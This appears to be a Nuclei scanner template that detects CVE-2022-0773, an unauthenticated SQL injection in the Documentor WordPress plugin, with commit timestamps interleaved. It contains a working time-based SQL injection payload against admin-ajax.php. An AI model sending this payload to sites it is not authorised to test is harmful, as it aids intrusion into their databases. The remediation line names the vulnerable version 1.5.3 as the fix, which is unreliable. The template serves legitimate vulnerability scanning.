2023-04-21 08:56:01 +00:00
id : CVE-2022-0773
info :
name : Documentor <= 1.5.3 - Unauthenticated SQL Injection
author : theamanrawat
severity : critical
description : |
The Documentor WordPress plugin through 1.5.3 fails to sanitize and escape user input before it is being interpolated in an SQL statement and then executed, leading to an SQL Injection exploitable by unauthenticated users.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 11:59:08 +00:00
remediation : |
Update to Documentor version 1.5.3 or later to mitigate this vulnerability.
2023-04-21 08:56:01 +00:00
reference :
- https://wpscan.com/vulnerability/55b89de0-30ed-4f98-935e-51f069faf6fc
- https://wordpress.org/plugins/documentor-lite/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0773
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-0773
cwe-id : CWE-89
2024-04-08 11:34:33 +00:00
epss-score : 0.05057
epss-percentile : 0.92125
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:documentor_project:documentor:*:*:*:*:*:wordpress:*:*
2023-04-21 08:56:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : documentor_project
product : documentor
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-10-15 10:27:37 +00:00
tags : time-based-sqli,cve2022,cve,unauth,sqli,wp-plugin,wp,documentor-lite,wpscan,wordpress,documentor_project
2023-04-21 08:56:01 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-04-21 08:56:01 +00:00
- raw :
- |
@timeout : 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
action=doc_search_results&term=&docid=1+AND+(SELECT+6288+FROM+(SELECT(SLEEP(6)))HRaz)
- |
GET /wp-content/plugins/documentor-lite/core/js/documentor.js HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'duration_1>=6'
- 'status_code == 200'
- 'contains(content_type_1, "text/html")'
- 'contains(body_1, "([])") && contains(body_2, ".documentor-help")'
condition : and
2024-01-26 08:31:11 +00:00
# digest: 490a0046304402205f2cc03db340617761a1fa935180c834e2ffa82c932c1189a14dfcb1d06333f70220105b6b52747cdf5d6f4ad6ca85ab86c5cd0f844d3a8a8d75cec26b186467f283:922c64590222798bb761d5b6d8e72950